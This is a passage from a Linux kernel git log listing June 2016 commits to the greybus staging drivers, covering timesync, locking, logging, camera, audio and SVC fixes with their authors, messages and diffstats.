ping doesn't actually contain the word greybus and uses the word ping-time in the print string, something that appears nowhere in our official documentation on this feature. This patch changes the format string to contain 'greybus' and 'frametime' to bring the TimeSync printout more in-line with other greybus kernel log strings. before: timesync ping-time: ap=8632564 1-svc=8630712 greybus1=8633031 1-8.8=8633026 after: greybus frametime: ap=8632564 1-svc=8630712 greybus1=8633031 1-8.8=8633026 Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/timesync.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit 50687f360958722de8610998a3cc886d9c9ba0b5 Author: Bryan O'Donoghue Date: Wed Jun 22 14:58:43 2016 +0100 greybus: timesync: Initialize the timesync ping fields to zero Remember to initialize the TimeSync ping fields to zero so that if a timesync_get_last_event() returns an error - we display a FrameTime that is obviously incorrect. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/timesync.c | 3 +++ 1 file changed, 3 insertions(+) commit c0e65d026c297c53eeb5412c31a5410317225945 Author: Joel Porquet Date: Fri Jun 24 14:41:36 2016 -0700 greybus: add support for the log protocol Add support for the new Log class/protocol. This protocol allows modules to send their internal logging messages to the AP in order to make module debugging easier. The protocol is, for now, composed a single module-initiated request. This request contains a message and associated length. The message is integrated in the kernel log with dev_dbg(). In order to be displayed with 'dmesg', the following command needs to be entered first: $ echo "file log.c +p" > /sys/kernel/debug/dynamic_debug/control The major portion of this file was initially written by Greg KH. Signed-off-by: Joel Porquet Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 + drivers/staging/greybus/greybus_manifest.h | 2 + drivers/staging/greybus/greybus_protocols.h | 14 +++ drivers/staging/greybus/log.c | 132 ++++++++++++++++++++++++++++ 4 files changed, 150 insertions(+) commit 6f7f2ae5df786bf9ced3247fda51a0a7aeb9cd0c Author: Viresh Kumar Date: Thu Jun 23 23:23:06 2016 +0530 greybus: gb_connections_lock: don't use spin_lock_irq() spin_[un]lock_irq() routines should be used carefully as they things can go wrong, if they are mixed with spin_lock_irqsave() or other variants. The main problem is that spin_[un]lock_irq() routines doesn't check if the IRQs are already disabled/enabled on the local CPU and so spin_unlock_irq() will forcefully enable interrupts for example. This may not work well, if some other code was relying on interrupts being disabled. Use spin_lock_irqsave() and spin_unlock_restore() instead. This patch doesn't claim that it fixes the JIRA completely, but the issue was harder to reproduce for some iterations after this, which was quite easy to reproduce earlier on. Tested on EVT 2.0 with lots of debug patches to kernel and greybus. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) commit fe9054155d831fee7a8e737ff3898c4bc2e5fc4d Author: Viresh Kumar Date: Thu Jun 23 23:23:06 2016 +0530 greybus: es2.c: don't use spin_lock_irq() spin_[un]lock_irq() routines should be used carefully as they things can go wrong, if they are mixed with spin_lock_irqsave() or other variants. The main problem is that spin_[un]lock_irq() routines doesn't check if the IRQs are already disabled/enabled on the local CPU and so spin_unlock_irq() will forcefully enable interrupts for example. This may not work well, if some other code was relying on interrupts being disabled. Use spin_lock_irqsave() and spin_unlock_restore() instead. This patch doesn't claim that it fixes the JIRA completely, but the issue was harder to reproduce for some iterations after this, which was quite easy to reproduce earlier on. Tested on EVT 2.0 with lots of debug patches to kernel and greybus. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit e9f80f3363542b645a5ceb0509273eda1d0e4eab Author: Viresh Kumar Date: Thu Jun 23 23:23:06 2016 +0530 greybus: uart: don't use spin_lock_irq() spin_[un]lock_irq() routines should be used carefully as they things can go wrong, if they are mixed with spin_lock_irqsave() or other variants. The main problem is that spin_[un]lock_irq() routines doesn't check if the IRQs are already disabled/enabled on the local CPU and so spin_unlock_irq() will forcefully enable interrupts for example. This may not work well, if some other code was relying on interrupts being disabled. Use spin_lock_irqsave() and spin_unlock_restore() instead. This patch doesn't claim that it fixes the JIRA completely, but the issue was harder to reproduce for some iterations after this, which was quite easy to reproduce earlier on. Tested on EVT 2.0 with lots of debug patches to kernel and greybus. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 19cdabcf0ba92ddd87bdb86f8e3ceaae2dd6f8bb Author: Greg Kroah-Hartman Date: Thu Jun 23 14:20:02 2016 -0700 greybus: Revert "greybus: don't use spin_lock_irq()" This reverts commit 469fbe5da0229edcb42aa08bef8e10feaa37e6d7. It isn't correct in places. Reported-by: Gjorgji Rosikopulos Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 64 +++++++++++++++--------------------- drivers/staging/greybus/es2.c | 9 +++-- drivers/staging/greybus/uart.c | 5 ++- 3 files changed, 33 insertions(+), 45 deletions(-) commit 1211915127c152a86e68ea35770c9e2524020d4f Author: Bryan O'Donoghue Date: Thu Jun 23 16:26:00 2016 +0100 greybus: timesync: Enforce TimeSync locks as subordinate to Interface locks gb_timesync_svc_teardown() is called from gb_timesync_svc_del() and issues a command to a remote Interface to switch off its timers. The lock ordering is TimeSync => Interface in this case. However gb_module_del() takes an Interface lock then calls gb_interface_del() => gb_timesync_svc_del() in this case the lock ordering is Interface => TimeSync. This patch fixes by removing the taking of the Interface mutex in gb_interface_timesync_do_something(). If an Interface is present in the TimeSync linked-list - it is by definition intf->enabled. Reported-by: Rui Miguel Silva Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 50 +++++++------------------------------ 1 file changed, 9 insertions(+), 41 deletions(-) commit 5e2b63915cb6f1e86f9515342cfcfb28cd82c5b0 Author: Viresh Kumar Date: Thu Jun 23 23:23:06 2016 +0530 greybus: don't use spin_lock_irq() spin_[un]lock_irq() routines should be used carefully as they things can go wrong, if they are mixed with spin_lock_irqsave() or other variants. The main problem is that spin_[un]lock_irq() routines doesn't check if the IRQs are already disabled/enabled on the local CPU and so spin_unlock_irq() will forcefully enable interrupts for example. This may not work well, if some other code was relying on interrupts being disabled. Use spin_lock_irqsave() and spin_unlock_restore() instead. This patch doesn't claim that it fixes the JIRA completely, but the issue was harder to reproduce for some iterations after this, which was quite easy to reproduce earlier on. Tested on EVT 2.0 with lots of debug patches to kernel and greybus. Signed-off-by: Viresh Kumar Reviewed-by: Jeffrey Carlyle Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 64 +++++++++++++++++++++--------------- drivers/staging/greybus/es2.c | 9 ++--- drivers/staging/greybus/uart.c | 5 +-- 3 files changed, 45 insertions(+), 33 deletions(-) commit 05e3095563670ab9188eab2c38808e9fd1f3a99d Author: Viresh Kumar Date: Thu Jun 23 23:22:15 2016 +0530 greybus: Revert "greybus: ratelimit errors usually seen on unipro_reset" This reverts commit 9b891f4fda8dfd6c1d8dc16479c5f6d418a9ccc7. We discussed this over the other thread, [PATCH 0/2] Improve watchdog's implementation a bit, and decided that we shouldn't be trying to hide the watchdog reboot problem by using such patches, rather we should make sure they occur consistently so that the real problem can be fixed. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 2 +- drivers/staging/greybus/operation.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit c13a206f7e44d8bb207512dfe58677674e514833 Author: Michael Scott Date: Tue Jun 21 16:41:46 2016 -0700 greybus: adjust kernel version check for led_sysfs_is_disabled When building greybus against a 3.18 kernel the following error is generated: light.c:205:9: error: implicit declaration of function 'led_sysfs_is_disabled' [-Werror=implicit-function-declaration] led_sysfs_is_disabled was not added until 3.19 kernel cycle Verification: https://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git/tree/include/linux/leds.h?h=linux-3.18.y (no function led_sysfs_is_disabled defined here) Testing Done: - Successfully built greybus for 3.18 kernel Signed-off-by: Michael Scott Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/kernel_ver.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2d533cf16bffc579b03f8e376b2f01f09a092aeb Author: Vaibhav Hiremath Date: Tue Jun 21 23:28:02 2016 +0530 greybus: ratelimit errors usually seen on unipro_reset It is believed that excessive serial messages from greybus on suspend/resume is leading to watchdog bite. There is still discussion going on whether ratelimiting prints would really fix anything, except it may reduce traffic on serial console and probably bring out real issues in the front. So in order to meet the alpha requirement, we all decided to get ratelimit change "as a TEMP fix" and decide later whether we should revert back once we get proper suspend/resume implementation. Please follow the discussion on Jira card SW-6261. Testing Done: Build tested against ara/main branch. Signed-off-by: Vaibhav Hiremath Reviewed-by: Konstantin Buhchev Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 2 +- drivers/staging/greybus/operation.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit e3b090ea954ed6f8de295511b4e533e2ef425a0f Author: Rui Miguel Silva Date: Tue Jun 21 16:56:16 2016 +0100 greybus: sdio: avoid extra memory operation at data transfer Right now greybus sdio uses the greybus operation_sync to transfer data, this will imply an extra memcpy at greybus core that we can avoid. Also with this change we remove the need for an extra buffer to store intermediate copy. So, let us create the operation and do the memory operations in the sdio driver. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/sdio.c | 80 ++++++++++++++++++++++++------------------ 1 file changed, 45 insertions(+), 35 deletions(-) commit 0698be0281e915ac42235b711f35465e8e14785b Author: Viresh Kumar Date: Wed Jun 15 08:25:56 2016 +0530 greybus: connection: add trace events before disabling connection This is what we are doing elsewhere: - Send enable/create trace events after enabling/creating stuff. - Send disable/remove trace events before disabling/removing stuff. This wasn't followed in a same way while disabling connections. Fix it. Compile tested. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 4ee48a5ecb7a3af272ac2c6cd6a0865b95a3d5f2 Author: Viresh Kumar Date: Wed Jun 15 15:58:22 2016 +0530 greybus: firmware: prefix char-device with 'gb-' This will make it consistent with any other character devices we have for greybus and let us identify greybus character devices easily. Compiled tested only. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman .../greybus/Documentation/firmware/firmware-management | 18 +++++++++--------- .../staging/greybus/Documentation/firmware/firmware.c | 2 +- drivers/staging/greybus/fw-management.c | 2 +- 3 files changed, 11 insertions(+), 11 deletions(-) commit 93dbb97a3e2455cdb5efee17a497758ece4b8ed7 Author: Bryan O'Donoghue Date: Thu Jun 16 13:42:16 2016 +0100 greybus: timesync: Rework timesync removal serialization logic We need to make sure we adequately cancel and quiesce any scheduled TimeSync synchronization operations in the case of greybus.ko being yanked out of memory i.e. when doing an EHCI runtime suspend or just a plain rmmod. The scenario is a new TimeSync sync operation has been scheduled. Next gb_timesync_svc_remove() runs. In this case we should terminate any scheduled work, terminate our ktime tracking timer and state transition to GB_TIMESYNC_STATE_INVALID to ensure no other context may schedule any new TimeSync operations. Signed-off-by: Bryan O'Donoghue Reviewed-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/timesync.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 0cc3bc6930d02ff5083b7b7bc18ca53299bb383a Author: Bryan O'Donoghue Date: Thu Jun 16 13:42:15 2016 +0100 greybus: timesync: Fix transitions to the INACTIVE state Analysing a backtrace associated with the current EHCI runtime suspend code has highlighted several places where its perfectly valid to make a transition to GB_TIMESYNC_STATE_INACTIVE when not already in the GB_TIMESYNC_STATE_INIT state, for example failure to issue a TimeSync enable command to the SVC can and should legitimately call gb_timesync_teardown() - at this point the state will be GB_TIMESYNC_STATE_WAIT_SVC and it's legitimate and desirable to transition to the INACTIVE state in this case. This patch fixes by removing the restrictive and incorrect restriction on the transition to INACTIVE only being valid when state == GB_TIMESYNC_STATE_INIT. Signed-off-by: Bryan O'Donoghue Reviewed-by: Vaibhav Hiremath Tested-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/timesync.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit c9e8f893eeef4f0e2d10333aed2d175e50a56dab Author: Bryan O'Donoghue Date: Thu Jun 16 13:42:14 2016 +0100 greybus: timesync: Do not hold mutex on cancel_delayed_work_sync There is a scenario where gb_timesync_svc_remove() can run, attain a mutex and call cancel_delayed_work_sync(). In the meantime a worker may already be running and trying to attain the same mutex but will never do so as the gb_timesync_svc_remove() path is holding the mutex and waiting on the delayed_work_sync() to complete - leading to deadlock. This patch addresses by calling the cancel_delayed_work_sync() before locking the relevant mutex. Reported-by: Vaibhav Agarwal Signed-off-by: Bryan O'Donoghue Reviewed-by: Vaibhav Hiremath Tested-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/timesync.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit df124299d1d3e64175c79f83b4ecf2710d202e49 Author: Viresh Kumar Date: Thu Jun 16 10:03:57 2016 +0530 greybus: firmware: Add license and copyright header to application Add license and copyright header to the firmware.c test application. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman .../greybus/Documentation/firmware/firmware.c | 53 +++++++++++++++++++++- 1 file changed, 52 insertions(+), 1 deletion(-) commit 42830f7f63c7db6422467d6c5c4480b2948b63ef Author: Viresh Kumar Date: Sat Jun 11 08:01:01 2016 +0530 greybus: manifest: Disallow reuse of control cport We should be checking if any of the bundles contains a CPort with its id set to the special value of '0', which is reserved for control CPort. Discard the bundle in that case. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 7 +++++++ 1 file changed, 7 insertions(+) commit 880bc0a4afa66e36f62e5687bef464a751781d55 Author: Vaibhav Hiremath Date: Wed Jun 15 10:23:23 2016 +0530 greybus: svc: Pass the correct pointer to input_free_device() In gb_svc_input_create() fn, on failure, wrong pointer was being passed to input_free_device(). Correct it. svc->input gets initialized only on successful return of this fn, so it is absolutely wrong to pass svc->input to input_free_device(). Testing Done: Tested on EVT2.0 platform. Signed-off-by: Vaibhav Hiremath Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9120b9060bca4528d13de5c4e6522e6a78110704 Author: Laurent Pinchart Date: Tue Jun 14 15:59:25 2016 +0300 greybus: camera: Create and destroy data connection on demand Creating the data connection at probe time makes it impossible to support multiple inserted camera modules as they would all try to establish a data connection to the same CPort on the AP side. Create and destroy the data connection when configuring the streams instead, as a single module can be streaming at a time. Signed-off-by: Laurent Pinchart Reviewed-by: Gjorgji Rosikopulos Tested-by: Gjorgji Rosikopulos Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 60 +++++++++++++++++++++++++--------------- 1 file changed, 38 insertions(+), 22 deletions(-) commit 3b8ebfeb32daf13ef5fccb7ec3d163783e6a01a2 Author: Laurent Pinchart Date: Tue Jun 14 15:59:24 2016 +0300 greybus: camera: Fix data connection setup When the module is in the configured state, an attempt to change the configuration must first tear down the data connection to update its parameters, as the APB1 bridge doesn't support modifying the CSI transmitter configuration when it is already started. Signed-off-by: Laurent Pinchart Reviewed-by: Gjorgji Rosikopulos Tested-by: Gjorgji Rosikopulos Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 24 +++++++++++++++++++----- 1 file changed, 19 insertions(+), 5 deletions(-) commit f3d5f6613f0da3ba1135f6e06b9692202fb9920b Author: Laurent Pinchart Date: Tue Jun 14 15:59:23 2016 +0300 greybus: camera: Clean up on stream configuration failure When the camera pipeline can't be configured due to a failure of one of the components (failure to start the CSI transmitter for instance), components that have already been setup for video streaming need to be set back to a quiescient state. This is especially important to ensure that a stream configuration failure won't keep the UniPro links in high speed mode forever. Signed-off-by: Laurent Pinchart Reviewed-by: Gjorgji Rosikopulos Tested-by: Gjorgji Rosikopulos Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 141 +++++++++++++++++++++++++-------------- 1 file changed, 91 insertions(+), 50 deletions(-) commit d1a8c36ec10446c3584033b06beaa51bad188144 Author: Viresh Kumar Date: Mon Jun 13 21:48:28 2016 +0530 greybus: svc: disable connection after all its users are gone gb_svc_del() can be called during removal of gb-es2.ko module as well, and in that case we would like to properly shutdown all modules and interfaces as USB is still alive. This requires that we don't disable the svc connection, at least for tx, as that will be used while removing modules and interfaces. Disable only rx to begin with, as we shouldn't be handling any requests from the SVC. Disable tx only after all the users of svc connection are gone. Tested on EVT 2.0 by remove gb-es2.ko module. There are still few errors, specially while quiescing the connections (-22), but not that many. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit d9e4c4ee12e490aca06a0a70d534c60648e2f43a Author: Viresh Kumar Date: Mon Jun 13 15:08:01 2016 +0530 greybus: camera: Initialize mutex before using it We are using the mutex from gb_camera_cleanup(), which can get called even before the mutex is initialized. Fix it by initializing the mutex early enough. Signed-off-by: Viresh Kumar Reviewed-by: Laurent Pinchart Reviewed-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 54131222e6dc3a26de5cb036e599307666e58fd9 Author: Viresh Kumar Date: Fri Jun 10 14:59:09 2016 +0530 greybus: connection: Return bool from gb_connection_intf_find() This is used only to check if an existing connection already uses the cport_id or not and doesn't really need to return pointer to the connection. While at it, also rename it to suit its purpose. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) commit 60fb3405c73ea0bbab942c699496123f9e987c04 Author: Viresh Kumar Date: Fri Jun 10 14:59:07 2016 +0530 greybus: Remove extra blank lines This patch removes few blank lines across the repository at places where two blank lines were present together or when a blank line is present at the start or end of a routine. Note that this doesn't remove most of them from greybus_protocols.h as they were added on purpose. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 1 - drivers/staging/greybus/audio_module.c | 2 -- drivers/staging/greybus/audio_topology.c | 1 - drivers/staging/greybus/bundle.c | 1 - drivers/staging/greybus/connection.c | 1 - drivers/staging/greybus/gpio.c | 1 - drivers/staging/greybus/hid.c | 1 - drivers/staging/greybus/power_supply.c | 3 --- drivers/staging/greybus/pwm.c | 1 - drivers/staging/greybus/spilib.c | 1 - drivers/staging/greybus/svc.c | 1 - drivers/staging/greybus/uart.c | 3 --- 12 files changed, 17 deletions(-) commit 6554efa28edc09029012f8217c5481ff320b7fca Author: Viresh Kumar Date: Fri Jun 10 11:37:54 2016 +0530 greybus: firmware: Fix spelling mistake s/directly/directory :) Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Documentation/firmware/firmware-management | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4c2f8a48e989c323e4fb378f95ceaa8091760832 Author: Bryan O'Donoghue Date: Fri Jun 10 16:10:12 2016 +0100 greybus: timesync: Do 64 bit divisions in a 32 friendly way We need to use 'do_div()' when doing 64 bit division or modulo division since the kernel will not pull in the gcc builtins __aeabi_ldivmod and __aeabi_uldivmod on 32 bit builds. Reported-by: Johan Hovold Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/timesync.c | 22 +++++++++++++++------- 1 file changed, 15 insertions(+), 7 deletions(-) commit 6db9cc68d7f9cea440293af4225a7b7f22d1d86d Author: Bryan O'Donoghue Date: Fri Jun 10 17:33:03 2016 +0100 greybus: uart: Fix minor number leak On the gb_uart_remove() path we are forgetting to do a release_minor() leading to a minor number leak. This is a simple one-line fix. Tested on EVT 2.0 Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 1 + 1 file changed, 1 insertion(+) commit c6722ab5d3c3d23021dd32bd1ae569665ee2263b Author: Vaibhav Agarwal Date: Fri Jun 10 12:59:11 2016 +0530 greybus: audio: Ratelimit err messages in bundle, topology driver Earlier I have shared a patch to rate limit err messages in audio_codec driver. However, missed to include suggestion from Mark to do similar changes in audio bundle & topology parser as well. Doing it now. Testing Done: Compile tested Fixes: 4cb3d109e5fc ("audio: Ratelimit err messages") Signed-off-by: Vaibhav Agarwal Reviewed-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_module.c | 25 +++++++++++++++---------- drivers/staging/greybus/audio_topology.c | 23 ++++++++++++----------- 2 files changed, 27 insertions(+), 21 deletions(-) commit f2b6303d4505b5b046691a936c346a0e376cd9f3 Author: Vaibhav Agarwal Date: Thu Jun 9 09:30:40 2016 +0530 greybus: Remove apbridgea_shutdown_xx sequence if already done While reordering gb_deactivate sequence to avoid protocol error this was mistakenly added even during shutdown_tx/rx. It is supposed to be done immediately after stop_tx and only once. Fixes: 739f25d5f490 ("audio: Reorder gb_deactivate sequence to avoid protocol error") Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 12 ------------ 1 file changed, 12 deletions(-) commit 27c243cf5fcf4b3bb525f1f3f15ed8db91199507 Author: Vaibhav Agarwal Date: Thu Jun 9 09:30:39 2016 +0530 greybus: Use mute_stream callback to initiate GB data xfer Currently trigger callback is used to start/stop greybus tx/rx path. This works well for almost all scenario except few specially handled usecases by Android Audio subsystem. In case of Music playback followed by Incoming ringtone, above layer tries to trigger_pause from one FE dailink and start a fresh playback via different FE dailink. Since, same BE dailink is used for both cases, an invalid state transition is requested i.e. from PAUSE->START. This fails & thus causes ringtone playback failure. With built-in codec, trigger callback is not required to initiate data xfer unlike gb-codec driver. This state transition should be handled in Android layer, but since it can lead to multiple side effects for various usecase we are trying to avoid trigger callback in gbcodec driver as well. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 77 +++++++++-------------------------- 1 file changed, 19 insertions(+), 58 deletions(-) commit 8c2522d87ab20ba245ddf92e4e8b19a76e5760fd Author: Eli Sennesh Date: Fri Jun 3 11:24:44 2016 -0400 greybus: update UniPro Set Interface Power Mode operation to match spec Bring the gb_svc_intf_set_power_mode() up-to-date with the current Greybus specification. This largely involves adding more members to the structure sent across the wire. Also change the camera code to use the new operation properly, with default values passed for the new necessary arguments. The correctness of these default values is confirmed via testing and by asking Rob Johnson. We must make sure to zero the request structure sent across the wire, lest bite us most cruelly, and we fix by changing the Set Power Mode Response structure to use a __u8 rather than a __le16. Testing Done: Took a picture with a camera module, received error code when passing deliberately incorrect values for new parameters, got proper -EIO and Greybus result code printed when operation stopped halfway through. Could induce error by initializing request struct with random nonsense, and can stop it by initializing request struct with zeroes. Associated Firmware Changes: 1669-1671 on Android N Gerrit for SW-2945 Signed-off-by: Eli Sennesh Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 10 ++++++++-- drivers/staging/greybus/greybus_protocols.h | 30 ++++++++++++++++++++++++++++- drivers/staging/greybus/svc.c | 26 ++++++++++++++++++++++--- drivers/staging/greybus/svc.h | 5 ++++- 4 files changed, 64 insertions(+), 7 deletions(-) commit 62e04623530c9a4312817438dea4859c549d01c1 Author: Viresh Kumar Date: Thu Jun 9 16:34:42 2016 +0530 greybus: connection: Avoid unnecessary line breaks Some line breaks weren't required as we never crossed 80 columns, remove them. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 56278c7384a3c0242fe2f7ba91473c978ab500ae Author: Viresh Kumar Date: Thu Jun 9 16:34:40 2016 +0530 greybus: hd: Export host device tracepoint from hd.c There is no point keeping this code in core.c, while its only used by hd.c. Relocate it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 5 ----- drivers/staging/greybus/hd.c | 6 +++++- 2 files changed, 5 insertions(+), 6 deletions(-) commit c05d471b2d6f4b9775674a3ada32a08079b1d24b Author: Viresh Kumar Date: Thu Jun 9 16:34:39 2016 +0530 greybus: Remove legacy suspend/resume callbacks We should be using the PM hooks available within the 'struct device_driver', instead of adding legacy suspend/resume callbacks. Remove them. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus.h | 3 --- 1 file changed, 3 deletions(-) commit 8a285fed1af3b9aae5e63ff3135fb9a0bf5d2c3c Author: Viresh Kumar Date: Thu Jun 9 16:34:38 2016 +0530 greybus: Use BIT(2) for GREYBUS_ID_MATCH_CLASS Bit 2 was left unused, use it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_id.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 129a6fbe7648987b23a87d5d9c4fbf0780c528ed Author: Viresh Kumar Date: Thu Jun 9 16:34:36 2016 +0530 greybus: core: Make greybus_match_one_id() return bool This routine always returns 0 or 1 and a return type of 'bool' suits it the best. Update it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit aa62b5e49a596cad71a816fc36a4da6ad0c0cd0f Author: Viresh Kumar Date: Thu Jun 9 16:34:35 2016 +0530 greybus: bootrom: Compile as a separate module User space doesn't break anymore with new greybus modules and its time to make bootrom a separate module. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 3 ++- drivers/staging/greybus/bootrom.c | 11 ++--------- drivers/staging/greybus/bootrom.h | 16 ---------------- drivers/staging/greybus/core.c | 10 ---------- 4 files changed, 4 insertions(+), 36 deletions(-) commit 9e50e987f55dc16364786525abdb4c7eac50e00b Author: Marti Bolivar Date: Thu Jun 9 17:46:47 2016 -0400 greybus: remove obsolete SVC result codes The "busy" SVC result codes are gone from the spec. Delete them. Testing Done: compile. Signed-off-by: Marti Bolivar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 12e6895d1e343512990eec5ae8747b5968a8f8b8 Author: Viresh Kumar Date: Thu Jun 9 16:34:34 2016 +0530 greybus: pwm: Fix compilation with v4.3 kernel pwm_is_enabled() wasn't enabled by v4.2-rc1, but it was based of v4.2-rc1. It was actually first included in v4.3. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/kernel_ver.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit cb14e97623d9289a30c3cfab02747581dda22f58 Author: Gjorgji Rosikopulos Date: Thu Jun 9 11:53:15 2016 +0300 greybus: camera: Add debug data format Add support for greybus debug data format. Greybus debug data format id is 0x42. Signed-off-by: Gjorgji Rosikopulos Acked-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 82278bfea04c9cda1e01ac4fe41938cc3f5f1252 Author: Johan Hovold Date: Thu Jun 9 18:42:19 2016 +0200 greybus: fix forced disable of offloaded connections Core disables all connections for bundles whose interface is already gone in order to avoid unnecessary operation timeouts during driver disconnect. This isn't needed for offloaded connections (as the AP can not send requests over such connections), and in fact must not be done since only the bundle driver currently knows how to disable I/O on such connections in a class-specific way (this may eventually be handled by core though). Also add comment about why connection are disabled early on forced disconnect. Testing Done: Tested on EVT2. Reported-by: Mark Greer Signed-off-by: Johan Hovold Tested-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit c0b06a6d4e07902f7e1eef88d242901c0a1faf03 Author: Alex Elder Date: Wed Jun 8 16:54:01 2016 -0500 greybus: tracing: drop "greybus" prefix I posted this once before but it got rejected for fear it would not be clear which messages were related to Greybus. Every trace event currently defined for Greybus is recorded in a function whose name begins with "gb_". Every trace event reported in /sys/kernel/debug/tracing/trace includes the name of the function in which the event was recorded. Get rid of the "greybus: " prefix in all of the Greybus trace events. It just takes up precious space and is not actually helpful. Anyone actually enabling individual trace events should know enough about what they're doing to recognize which ones are being enabled. Signed-off-by: Alex Elder Reviewed-by: Viresh Kumar Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_trace.h | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 365d79fc20232dd730723801b7417cca9766dd79 Author: Alex Elder Date: Wed Jun 8 12:44:22 2016 -0700 greybus: don't key on an enumerated constant The symbol PWMF_ENABLED is defined via an enum, which is not defined at the time the preprocessor passes through "kernel_ver.h". So we can't use it in an #if statement expression. Use the Linux kernel version instead. Change-Id: Id427224b1dfecfd886fcdae89c4bcf711b616439 Signed-off-by: Alex Elder drivers/staging/greybus/kernel_ver.h | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit 8fb76c3cfd5c54cb0d8713436d480a8062217d5c Author: David Lin Date: Wed Jun 8 09:39:00 2016 +0200 greybus: svc: pwrmon: validate svc protocol op status when getting rail names AP should check for Greybus SVC Protocol Operation Status to determine if the operation was 